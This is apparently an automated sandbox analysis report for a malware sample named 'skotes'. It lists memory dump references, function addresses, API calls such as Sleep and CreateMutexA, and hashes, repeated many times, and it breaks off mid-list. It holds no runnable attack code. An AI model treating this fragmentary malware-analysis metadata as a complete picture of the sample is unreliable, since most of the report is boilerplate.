Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 644fa4215e216c9b692d6cd9340cdbc2d7583c6b306ac62e25222249aff5c635
Instruction ID: b5cc8cc0a362243c234b3b891e66f0bdbbd61f404ac267c1ffcd9265bc956ce4
Opcode Fuzzy Hash: 644fa4215e216c9b692d6cd9340cdbc2d7583c6b306ac62e25222249aff5c635
Instruction Fuzzy Hash: EB313771A041009BEB08DBB8CCC9BEDBF72FBC1310F248218E014D73D6DB7569818652

Function 005B9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 4af8ae96987cacd6b87ef09fce99b89a839f692ab222a081116d58df78540602
Instruction ID: a31f1fe201959e5b40407c34c54c8f053ad99af02e71e2c729a7a671c6ac22ae
Opcode Fuzzy Hash: 4af8ae96987cacd6b87ef09fce99b89a839f692ab222a081116d58df78540602
Instruction Fuzzy Hash: 4E2137317042419BEB18AB68DCC9BADBF62FBC1310F244219E508D73D5DB756A818612

Function 005BA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: efa7be923aa98004202c8ddc473f49b1ba61119c97847205753217e30b6158c9
Instruction ID: 205a64ad3031714807e0f135d525924e6c03068e7652f0dbd2ea8a749691ad97
Opcode Fuzzy Hash: efa7be923aa98004202c8ddc473f49b1ba61119c97847205753217e30b6158c9
Instruction Fuzzy Hash: 522128712482069EFB28A768CC8ABEDBE52FFC1300F244916F148D77D2CE7679818253

Function 005BA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 61216676c86795c35c107e5a8c820f1a23f389515da7f7046104ddb76e16c81c
Instruction ID: 813983edaf5f0d609c822a1af44cc9083a76c7a5503058eb03497f40e81ab8e1
Opcode Fuzzy Hash: 61216676c86795c35c107e5a8c820f1a23f389515da7f7046104ddb76e16c81c
Instruction Fuzzy Hash: C12149317442019FEB18AB6CDC89BADBFA2FBD1310F244619E405D77D5DB766A808352

Non-executed Functions

Function 005ECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005ECC66

Strings

v^, xrefs: 005ECBE1

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v^
API String ID: 3213747228-294073887
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 4a9ba5dda3588c137163d1b140de9951b50ee777333873c90321157721631511
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 67B105329046D69FDB19CF2AC8417BEBFA5FF45340F2441AAE895DB242D635DD02CB50

Function 005B2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005B2F5F
__Mtx_unlock.LIBCPMT ref: 005B2FCC
__Cnd_broadcast.LIBCPMT ref: 005B2FE3
__Mtx_unlock.LIBCPMT ref: 005B30F5
__Mtx_unlock.LIBCPMT ref: 005B319B

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
